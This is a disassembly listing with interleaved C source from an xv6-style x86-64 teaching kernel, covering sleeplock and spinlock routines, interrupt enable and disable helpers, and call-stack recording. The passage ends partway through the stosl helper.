ffff800000107631 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
ffff800000107631: f3 0f 1e fa endbr64
ffff800000107635: 55 push %rbp
ffff800000107636: 48 89 e5 mov %rsp,%rbp
ffff800000107639: 48 83 ec 10 sub $0x10,%rsp
ffff80000010763d: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107641: 48 89 75 f0 mov %rsi,-0x10(%rbp)
initlock(&lk->lk, "sleep lock");
ffff800000107645: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107649: 48 83 c0 08 add $0x8,%rax
ffff80000010764d: 48 be a3 c8 10 00 00 movabs $0xffff80000010c8a3,%rsi
ffff800000107654: 80 ff ff
ffff800000107657: 48 89 c7 mov %rax,%rdi
ffff80000010765a: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff800000107661: 80 ff ff
ffff800000107664: ff d0 callq *%rax
lk->name = name;
ffff800000107666: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010766a: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff80000010766e: 48 89 50 70 mov %rdx,0x70(%rax)
lk->locked = 0;
ffff800000107672: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107676: c7 00 00 00 00 00 movl $0x0,(%rax)
lk->pid = 0;
ffff80000010767c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107680: c7 40 78 00 00 00 00 movl $0x0,0x78(%rax)
}
ffff800000107687: 90 nop
ffff800000107688: c9 leaveq
ffff800000107689: c3 retq
ffff80000010768a <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
ffff80000010768a: f3 0f 1e fa endbr64
ffff80000010768e: 55 push %rbp
ffff80000010768f: 48 89 e5 mov %rsp,%rbp
ffff800000107692: 48 83 ec 10 sub $0x10,%rsp
ffff800000107696: 48 89 7d f8 mov %rdi,-0x8(%rbp)
acquire(&lk->lk);
ffff80000010769a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010769e: 48 83 c0 08 add $0x8,%rax
ffff8000001076a2: 48 89 c7 mov %rax,%rdi
ffff8000001076a5: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001076ac: 80 ff ff
ffff8000001076af: ff d0 callq *%rax
while (lk->locked)
ffff8000001076b1: eb 1e jmp ffff8000001076d1 <acquiresleep+0x47>
sleep(lk, &lk->lk);
ffff8000001076b3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001076b7: 48 8d 50 08 lea 0x8(%rax),%rdx
ffff8000001076bb: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001076bf: 48 89 d6 mov %rdx,%rsi
ffff8000001076c2: 48 89 c7 mov %rax,%rdi
ffff8000001076c5: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff8000001076cc: 80 ff ff
ffff8000001076cf: ff d0 callq *%rax
while (lk->locked)
ffff8000001076d1: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001076d5: 8b 00 mov (%rax),%eax
ffff8000001076d7: 85 c0 test %eax,%eax
ffff8000001076d9: 75 d8 jne ffff8000001076b3 <acquiresleep+0x29>
lk->locked = 1;
ffff8000001076db: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001076df: c7 00 01 00 00 00 movl $0x1,(%rax)
lk->pid = proc->pid;
ffff8000001076e5: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001076ec: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001076f0: 8b 50 1c mov 0x1c(%rax),%edx
ffff8000001076f3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001076f7: 89 50 78 mov %edx,0x78(%rax)
release(&lk->lk);
ffff8000001076fa: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001076fe: 48 83 c0 08 add $0x8,%rax
ffff800000107702: 48 89 c7 mov %rax,%rdi
ffff800000107705: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010770c: 80 ff ff
ffff80000010770f: ff d0 callq *%rax
}
ffff800000107711: 90 nop
ffff800000107712: c9 leaveq
ffff800000107713: c3 retq
ffff800000107714 <releasesleep>:
void
releasesleep(struct sleeplock *lk)
{
ffff800000107714: f3 0f 1e fa endbr64
ffff800000107718: 55 push %rbp
ffff800000107719: 48 89 e5 mov %rsp,%rbp
ffff80000010771c: 48 83 ec 10 sub $0x10,%rsp
ffff800000107720: 48 89 7d f8 mov %rdi,-0x8(%rbp)
acquire(&lk->lk);
ffff800000107724: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107728: 48 83 c0 08 add $0x8,%rax
ffff80000010772c: 48 89 c7 mov %rax,%rdi
ffff80000010772f: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000107736: 80 ff ff
ffff800000107739: ff d0 callq *%rax
lk->locked = 0;
ffff80000010773b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010773f: c7 00 00 00 00 00 movl $0x0,(%rax)
lk->pid = 0;
ffff800000107745: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107749: c7 40 78 00 00 00 00 movl $0x0,0x78(%rax)
wakeup(lk);
ffff800000107750: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107754: 48 89 c7 mov %rax,%rdi
ffff800000107757: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff80000010775e: 80 ff ff
ffff800000107761: ff d0 callq *%rax
release(&lk->lk);
ffff800000107763: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107767: 48 83 c0 08 add $0x8,%rax
ffff80000010776b: 48 89 c7 mov %rax,%rdi
ffff80000010776e: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000107775: 80 ff ff
ffff800000107778: ff d0 callq *%rax
}
ffff80000010777a: 90 nop
ffff80000010777b: c9 leaveq
ffff80000010777c: c3 retq
ffff80000010777d <holdingsleep>:
int
holdingsleep(struct sleeplock *lk)
{
ffff80000010777d: f3 0f 1e fa endbr64
ffff800000107781: 55 push %rbp
ffff800000107782: 48 89 e5 mov %rsp,%rbp
ffff800000107785: 48 83 ec 20 sub $0x20,%rsp
ffff800000107789: 48 89 7d e8 mov %rdi,-0x18(%rbp)
acquire(&lk->lk);
ffff80000010778d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107791: 48 83 c0 08 add $0x8,%rax
ffff800000107795: 48 89 c7 mov %rax,%rdi
ffff800000107798: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff80000010779f: 80 ff ff
ffff8000001077a2: ff d0 callq *%rax
int r = lk->locked;
ffff8000001077a4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001077a8: 8b 00 mov (%rax),%eax
ffff8000001077aa: 89 45 fc mov %eax,-0x4(%rbp)
release(&lk->lk);
ffff8000001077ad: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001077b1: 48 83 c0 08 add $0x8,%rax
ffff8000001077b5: 48 89 c7 mov %rax,%rdi
ffff8000001077b8: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001077bf: 80 ff ff
ffff8000001077c2: ff d0 callq *%rax
return r;
ffff8000001077c4: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff8000001077c7: c9 leaveq
ffff8000001077c8: c3 retq
ffff8000001077c9 <readeflags>:
{
ffff8000001077c9: f3 0f 1e fa endbr64
ffff8000001077cd: 55 push %rbp
ffff8000001077ce: 48 89 e5 mov %rsp,%rbp
ffff8000001077d1: 48 83 ec 10 sub $0x10,%rsp
asm volatile("pushf; pop %0" : "=r" (eflags));
ffff8000001077d5: 9c pushfq
ffff8000001077d6: 58 pop %rax
ffff8000001077d7: 48 89 45 f8 mov %rax,-0x8(%rbp)
return eflags;
ffff8000001077db: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff8000001077df: c9 leaveq
ffff8000001077e0: c3 retq
ffff8000001077e1 <cli>:
{
ffff8000001077e1: f3 0f 1e fa endbr64
ffff8000001077e5: 55 push %rbp
ffff8000001077e6: 48 89 e5 mov %rsp,%rbp
asm volatile("cli");
ffff8000001077e9: fa cli
}
ffff8000001077ea: 90 nop
ffff8000001077eb: 5d pop %rbp
ffff8000001077ec: c3 retq
ffff8000001077ed <sti>:
{
ffff8000001077ed: f3 0f 1e fa endbr64
ffff8000001077f1: 55 push %rbp
ffff8000001077f2: 48 89 e5 mov %rsp,%rbp
asm volatile("sti");
ffff8000001077f5: fb sti
}
ffff8000001077f6: 90 nop
ffff8000001077f7: 5d pop %rbp
ffff8000001077f8: c3 retq
ffff8000001077f9 <xchg>:
{
ffff8000001077f9: f3 0f 1e fa endbr64
ffff8000001077fd: 55 push %rbp
ffff8000001077fe: 48 89 e5 mov %rsp,%rbp
ffff800000107801: 48 83 ec 20 sub $0x20,%rsp
ffff800000107805: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000107809: 48 89 75 e0 mov %rsi,-0x20(%rbp)
asm volatile("lock; xchgl %0, %1" :
ffff80000010780d: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000107811: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000107815: 48 8b 4d e8 mov -0x18(%rbp),%rcx
ffff800000107819: f0 87 02 lock xchg %eax,(%rdx)
ffff80000010781c: 89 45 fc mov %eax,-0x4(%rbp)
return result;
ffff80000010781f: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff800000107822: c9 leaveq
ffff800000107823: c3 retq
ffff800000107824 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
ffff800000107824: f3 0f 1e fa endbr64
ffff800000107828: 55 push %rbp
ffff800000107829: 48 89 e5 mov %rsp,%rbp
ffff80000010782c: 48 83 ec 10 sub $0x10,%rsp
ffff800000107830: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107834: 48 89 75 f0 mov %rsi,-0x10(%rbp)
lk->name = name;
ffff800000107838: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010783c: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000107840: 48 89 50 08 mov %rdx,0x8(%rax)
lk->locked = 0;
ffff800000107844: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107848: c7 00 00 00 00 00 movl $0x0,(%rax)
lk->cpu = 0;
ffff80000010784e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107852: 48 c7 40 10 00 00 00 movq $0x0,0x10(%rax)
ffff800000107859: 00
}
ffff80000010785a: 90 nop
ffff80000010785b: c9 leaveq
ffff80000010785c: c3 retq
ffff80000010785d <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
ffff80000010785d: f3 0f 1e fa endbr64
ffff800000107861: 55 push %rbp
ffff800000107862: 48 89 e5 mov %rsp,%rbp
ffff800000107865: 48 83 ec 10 sub $0x10,%rsp
ffff800000107869: 48 89 7d f8 mov %rdi,-0x8(%rbp)
pushcli(); // disable interrupts to avoid deadlock.
ffff80000010786d: 48 b8 85 7a 10 00 00 movabs $0xffff800000107a85,%rax
ffff800000107874: 80 ff ff
ffff800000107877: ff d0 callq *%rax
if(holding(lk))
ffff800000107879: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010787d: 48 89 c7 mov %rax,%rdi
ffff800000107880: 48 b8 45 7a 10 00 00 movabs $0xffff800000107a45,%rax
ffff800000107887: 80 ff ff
ffff80000010788a: ff d0 callq *%rax
ffff80000010788c: 85 c0 test %eax,%eax
ffff80000010788e: 74 16 je ffff8000001078a6 <acquire+0x49>
panic("acquire");
ffff800000107890: 48 bf ae c8 10 00 00 movabs $0xffff80000010c8ae,%rdi
ffff800000107897: 80 ff ff
ffff80000010789a: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001078a1: 80 ff ff
ffff8000001078a4: ff d0 callq *%rax
// The xchg is atomic.
while(xchg(&lk->locked, 1) != 0)
ffff8000001078a6: 90 nop
ffff8000001078a7: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001078ab: be 01 00 00 00 mov $0x1,%esi
ffff8000001078b0: 48 89 c7 mov %rax,%rdi
ffff8000001078b3: 48 b8 f9 77 10 00 00 movabs $0xffff8000001077f9,%rax
ffff8000001078ba: 80 ff ff
ffff8000001078bd: ff d0 callq *%rax
ffff8000001078bf: 85 c0 test %eax,%eax
ffff8000001078c1: 75 e4 jne ffff8000001078a7 <acquire+0x4a>
;
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
ffff8000001078c3: 0f ae f0 mfence
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
ffff8000001078c6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001078ca: 48 c7 c2 f0 ff ff ff mov $0xfffffffffffffff0,%rdx
ffff8000001078d1: 64 48 8b 12 mov %fs:(%rdx),%rdx
ffff8000001078d5: 48 89 50 10 mov %rdx,0x10(%rax)
getcallerpcs(&lk, lk->pcs);
ffff8000001078d9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001078dd: 48 8d 50 18 lea 0x18(%rax),%rdx
ffff8000001078e1: 48 8d 45 f8 lea -0x8(%rbp),%rax
ffff8000001078e5: 48 89 d6 mov %rdx,%rsi
ffff8000001078e8: 48 89 c7 mov %rax,%rdi
ffff8000001078eb: 48 b8 6f 79 10 00 00 movabs $0xffff80000010796f,%rax
ffff8000001078f2: 80 ff ff
ffff8000001078f5: ff d0 callq *%rax
}
ffff8000001078f7: 90 nop
ffff8000001078f8: c9 leaveq
ffff8000001078f9: c3 retq
ffff8000001078fa <release>:
// Release the lock.
void
release(struct spinlock *lk)
{
ffff8000001078fa: f3 0f 1e fa endbr64
ffff8000001078fe: 55 push %rbp
ffff8000001078ff: 48 89 e5 mov %rsp,%rbp
ffff800000107902: 48 83 ec 10 sub $0x10,%rsp
ffff800000107906: 48 89 7d f8 mov %rdi,-0x8(%rbp)
if(!holding(lk))
ffff80000010790a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010790e: 48 89 c7 mov %rax,%rdi
ffff800000107911: 48 b8 45 7a 10 00 00 movabs $0xffff800000107a45,%rax
ffff800000107918: 80 ff ff
ffff80000010791b: ff d0 callq *%rax
ffff80000010791d: 85 c0 test %eax,%eax
ffff80000010791f: 75 16 jne ffff800000107937 <release+0x3d>
panic("release");
ffff800000107921: 48 bf b6 c8 10 00 00 movabs $0xffff80000010c8b6,%rdi
ffff800000107928: 80 ff ff
ffff80000010792b: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000107932: 80 ff ff
ffff800000107935: ff d0 callq *%rax
lk->pcs[0] = 0;
ffff800000107937: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010793b: 48 c7 40 18 00 00 00 movq $0x0,0x18(%rax)
ffff800000107942: 00
lk->cpu = 0;
ffff800000107943: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107947: 48 c7 40 10 00 00 00 movq $0x0,0x10(%rax)
ffff80000010794e: 00
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that all the stores in the critical
// section are visible to other cores before the lock is released.
// Both the C compiler and the hardware may re-order loads and
// stores; __sync_synchronize() tells them both not to.
__sync_synchronize();
ffff80000010794f: 0f ae f0 mfence
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
ffff800000107952: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107956: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010795a: c7 00 00 00 00 00 movl $0x0,(%rax)
popcli();
ffff800000107960: 48 b8 f7 7a 10 00 00 movabs $0xffff800000107af7,%rax
ffff800000107967: 80 ff ff
ffff80000010796a: ff d0 callq *%rax
}
ffff80000010796c: 90 nop
ffff80000010796d: c9 leaveq
ffff80000010796e: c3 retq
ffff80000010796f <getcallerpcs>:
// Record the current call stack in pcs[] by following the %rbp chain.
void
getcallerpcs(void *v, addr_t pcs[])
{
ffff80000010796f: f3 0f 1e fa endbr64
ffff800000107973: 55 push %rbp
ffff800000107974: 48 89 e5 mov %rsp,%rbp
ffff800000107977: 48 83 ec 20 sub $0x20,%rsp
ffff80000010797b: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff80000010797f: 48 89 75 e0 mov %rsi,-0x20(%rbp)
addr_t *rbp;
asm volatile("mov %%rbp, %0" : "=r" (rbp));
ffff800000107983: 48 89 e8 mov %rbp,%rax
ffff800000107986: 48 89 45 f8 mov %rax,-0x8(%rbp)
getstackpcs(rbp, pcs);
ffff80000010798a: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff80000010798e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107992: 48 89 d6 mov %rdx,%rsi
ffff800000107995: 48 89 c7 mov %rax,%rdi
ffff800000107998: 48 b8 a7 79 10 00 00 movabs $0xffff8000001079a7,%rax
ffff80000010799f: 80 ff ff
ffff8000001079a2: ff d0 callq *%rax
}
ffff8000001079a4: 90 nop
ffff8000001079a5: c9 leaveq
ffff8000001079a6: c3 retq
ffff8000001079a7 <getstackpcs>:
void
getstackpcs(addr_t *rbp, addr_t pcs[])
{
ffff8000001079a7: f3 0f 1e fa endbr64
ffff8000001079ab: 55 push %rbp
ffff8000001079ac: 48 89 e5 mov %rsp,%rbp
ffff8000001079af: 48 83 ec 20 sub $0x20,%rsp
ffff8000001079b3: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff8000001079b7: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int i;
for(i = 0; i < 10; i++){
ffff8000001079bb: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001079c2: eb 50 jmp ffff800000107a14 <getstackpcs+0x6d>
if(rbp == 0 || rbp < (addr_t*)KERNBASE || rbp == (addr_t*)0xffffffff)
ffff8000001079c4: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff8000001079c9: 74 70 je ffff800000107a3b <getstackpcs+0x94>
ffff8000001079cb: 48 b8 ff ff ff ff ff movabs $0xffff7fffffffffff,%rax
ffff8000001079d2: 7f ff ff
ffff8000001079d5: 48 39 45 e8 cmp %rax,-0x18(%rbp)
ffff8000001079d9: 76 60 jbe ffff800000107a3b <getstackpcs+0x94>
ffff8000001079db: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001079e0: 48 39 45 e8 cmp %rax,-0x18(%rbp)
ffff8000001079e4: 74 55 je ffff800000107a3b <getstackpcs+0x94>
break;
pcs[i] = rbp[1]; // saved %rip
ffff8000001079e6: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001079e9: 48 98 cltq
ffff8000001079eb: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff8000001079f2: 00
ffff8000001079f3: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001079f7: 48 01 c2 add %rax,%rdx
ffff8000001079fa: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001079fe: 48 8b 40 08 mov 0x8(%rax),%rax
ffff800000107a02: 48 89 02 mov %rax,(%rdx)
rbp = (addr_t*)rbp[0]; // saved %rbp
ffff800000107a05: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000107a09: 48 8b 00 mov (%rax),%rax
ffff800000107a0c: 48 89 45 e8 mov %rax,-0x18(%rbp)
for(i = 0; i < 10; i++){
ffff800000107a10: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000107a14: 83 7d fc 09 cmpl $0x9,-0x4(%rbp)
ffff800000107a18: 7e aa jle ffff8000001079c4 <getstackpcs+0x1d>
}
for(; i < 10; i++)
ffff800000107a1a: eb 1f jmp ffff800000107a3b <getstackpcs+0x94>
pcs[i] = 0;
ffff800000107a1c: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000107a1f: 48 98 cltq
ffff800000107a21: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff800000107a28: 00
ffff800000107a29: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000107a2d: 48 01 d0 add %rdx,%rax
ffff800000107a30: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
for(; i < 10; i++)
ffff800000107a37: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000107a3b: 83 7d fc 09 cmpl $0x9,-0x4(%rbp)
ffff800000107a3f: 7e db jle ffff800000107a1c <getstackpcs+0x75>
}
ffff800000107a41: 90 nop
ffff800000107a42: 90 nop
ffff800000107a43: c9 leaveq
ffff800000107a44: c3 retq
ffff800000107a45 <holding>:
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
ffff800000107a45: f3 0f 1e fa endbr64
ffff800000107a49: 55 push %rbp
ffff800000107a4a: 48 89 e5 mov %rsp,%rbp
ffff800000107a4d: 48 83 ec 08 sub $0x8,%rsp
ffff800000107a51: 48 89 7d f8 mov %rdi,-0x8(%rbp)
return lock->locked && lock->cpu == cpu;
ffff800000107a55: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107a59: 8b 00 mov (%rax),%eax
ffff800000107a5b: 85 c0 test %eax,%eax
ffff800000107a5d: 74 1f je ffff800000107a7e <holding+0x39>
ffff800000107a5f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000107a63: 48 8b 50 10 mov 0x10(%rax),%rdx
ffff800000107a67: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107a6e: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107a72: 48 39 c2 cmp %rax,%rdx
ffff800000107a75: 75 07 jne ffff800000107a7e <holding+0x39>
ffff800000107a77: b8 01 00 00 00 mov $0x1,%eax
ffff800000107a7c: eb 05 jmp ffff800000107a83 <holding+0x3e>
ffff800000107a7e: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000107a83: c9 leaveq
ffff800000107a84: c3 retq
ffff800000107a85 <pushcli>:
// Pushcli/popcli are like cli/sti except that they are matched:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
ffff800000107a85: f3 0f 1e fa endbr64
ffff800000107a89: 55 push %rbp
ffff800000107a8a: 48 89 e5 mov %rsp,%rbp
ffff800000107a8d: 48 83 ec 10 sub $0x10,%rsp
int eflags;
eflags = readeflags();
ffff800000107a91: 48 b8 c9 77 10 00 00 movabs $0xffff8000001077c9,%rax
ffff800000107a98: 80 ff ff
ffff800000107a9b: ff d0 callq *%rax
ffff800000107a9d: 89 45 fc mov %eax,-0x4(%rbp)
cli();
ffff800000107aa0: 48 b8 e1 77 10 00 00 movabs $0xffff8000001077e1,%rax
ffff800000107aa7: 80 ff ff
ffff800000107aaa: ff d0 callq *%rax
if(cpu->ncli == 0)
ffff800000107aac: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107ab3: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107ab7: 8b 40 14 mov 0x14(%rax),%eax
ffff800000107aba: 85 c0 test %eax,%eax
ffff800000107abc: 75 17 jne ffff800000107ad5 <pushcli+0x50>
cpu->intena = eflags & FL_IF;
ffff800000107abe: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107ac5: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107ac9: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000107acc: 81 e2 00 02 00 00 and $0x200,%edx
ffff800000107ad2: 89 50 18 mov %edx,0x18(%rax)
cpu->ncli += 1;
ffff800000107ad5: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107adc: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107ae0: 8b 50 14 mov 0x14(%rax),%edx
ffff800000107ae3: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107aea: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107aee: 83 c2 01 add $0x1,%edx
ffff800000107af1: 89 50 14 mov %edx,0x14(%rax)
}
ffff800000107af4: 90 nop
ffff800000107af5: c9 leaveq
ffff800000107af6: c3 retq
ffff800000107af7 <popcli>:
void
popcli(void)
{
ffff800000107af7: f3 0f 1e fa endbr64
ffff800000107afb: 55 push %rbp
ffff800000107afc: 48 89 e5 mov %rsp,%rbp
if(readeflags()&FL_IF)
ffff800000107aff: 48 b8 c9 77 10 00 00 movabs $0xffff8000001077c9,%rax
ffff800000107b06: 80 ff ff
ffff800000107b09: ff d0 callq *%rax
ffff800000107b0b: 25 00 02 00 00 and $0x200,%eax
ffff800000107b10: 48 85 c0 test %rax,%rax
ffff800000107b13: 74 16 je ffff800000107b2b <popcli+0x34>
panic("popcli - interruptible");
ffff800000107b15: 48 bf be c8 10 00 00 movabs $0xffff80000010c8be,%rdi
ffff800000107b1c: 80 ff ff
ffff800000107b1f: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000107b26: 80 ff ff
ffff800000107b29: ff d0 callq *%rax
if(--cpu->ncli < 0)
ffff800000107b2b: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107b32: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107b36: 8b 50 14 mov 0x14(%rax),%edx
ffff800000107b39: 83 ea 01 sub $0x1,%edx
ffff800000107b3c: 89 50 14 mov %edx,0x14(%rax)
ffff800000107b3f: 8b 40 14 mov 0x14(%rax),%eax
ffff800000107b42: 85 c0 test %eax,%eax
ffff800000107b44: 79 16 jns ffff800000107b5c <popcli+0x65>
panic("popcli");
ffff800000107b46: 48 bf d5 c8 10 00 00 movabs $0xffff80000010c8d5,%rdi
ffff800000107b4d: 80 ff ff
ffff800000107b50: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000107b57: 80 ff ff
ffff800000107b5a: ff d0 callq *%rax
if(cpu->ncli == 0 && cpu->intena)
ffff800000107b5c: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107b63: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107b67: 8b 40 14 mov 0x14(%rax),%eax
ffff800000107b6a: 85 c0 test %eax,%eax
ffff800000107b6c: 75 1e jne ffff800000107b8c <popcli+0x95>
ffff800000107b6e: 48 c7 c0 f0 ff ff ff mov $0xfffffffffffffff0,%rax
ffff800000107b75: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000107b79: 8b 40 18 mov 0x18(%rax),%eax
ffff800000107b7c: 85 c0 test %eax,%eax
ffff800000107b7e: 74 0c je ffff800000107b8c <popcli+0x95>
sti();
ffff800000107b80: 48 b8 ed 77 10 00 00 movabs $0xffff8000001077ed,%rax
ffff800000107b87: 80 ff ff
ffff800000107b8a: ff d0 callq *%rax
}
ffff800000107b8c: 90 nop
ffff800000107b8d: 5d pop %rbp
ffff800000107b8e: c3 retq
ffff800000107b8f <stosb>:
{
ffff800000107b8f: f3 0f 1e fa endbr64
ffff800000107b93: 55 push %rbp
ffff800000107b94: 48 89 e5 mov %rsp,%rbp
ffff800000107b97: 48 83 ec 10 sub $0x10,%rsp
ffff800000107b9b: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107b9f: 89 75 f4 mov %esi,-0xc(%rbp)
ffff800000107ba2: 89 55 f0 mov %edx,-0x10(%rbp)
asm volatile("cld; rep stosb" :
ffff800000107ba5: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff800000107ba9: 8b 55 f0 mov -0x10(%rbp),%edx
ffff800000107bac: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000107baf: 48 89 ce mov %rcx,%rsi
ffff800000107bb2: 48 89 f7 mov %rsi,%rdi
ffff800000107bb5: 89 d1 mov %edx,%ecx
ffff800000107bb7: fc cld
ffff800000107bb8: f3 aa rep stos %al,%es:(%rdi)
ffff800000107bba: 89 ca mov %ecx,%edx
ffff800000107bbc: 48 89 fe mov %rdi,%rsi
ffff800000107bbf: 48 89 75 f8 mov %rsi,-0x8(%rbp)
ffff800000107bc3: 89 55 f0 mov %edx,-0x10(%rbp)
}
ffff800000107bc6: 90 nop
ffff800000107bc7: c9 leaveq
ffff800000107bc8: c3 retq
ffff800000107bc9 <stosl>:
{
ffff800000107bc9: f3 0f 1e fa endbr64
ffff800000107bcd: 55 push %rbp
ffff800000107bce: 48 89 e5 mov %rsp,%rbp
ffff800000107bd1: 48 83 ec 10 sub $0x10,%rsp
ffff800000107bd5: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff800000107bd9: 89 75 f4 mov %esi,-0xc(%rbp)
ffff800000107bdc: 89 55 f0 mov %edx,-0x10(%rbp)
asm volatile("cld; rep stosl" :
ffff800000107bdf: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff800000107be3: 8b 55 f0 mov -0x10(%rbp),%edx
ffff800000107be6: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000107be9: 48 89 ce mov %rcx,%rsi
ffff800000107bec: 48 89 f7 mov %rsi,%rdi
ffff800000107bef: 89 d1 mov %edx,%ecx
ffff800000107bf1: fc cld
ffff800000107bf2: f3 ab rep stos %eax,%es:(%rdi)
ffff800000107bf4: 89 ca mov %ecx,%edx
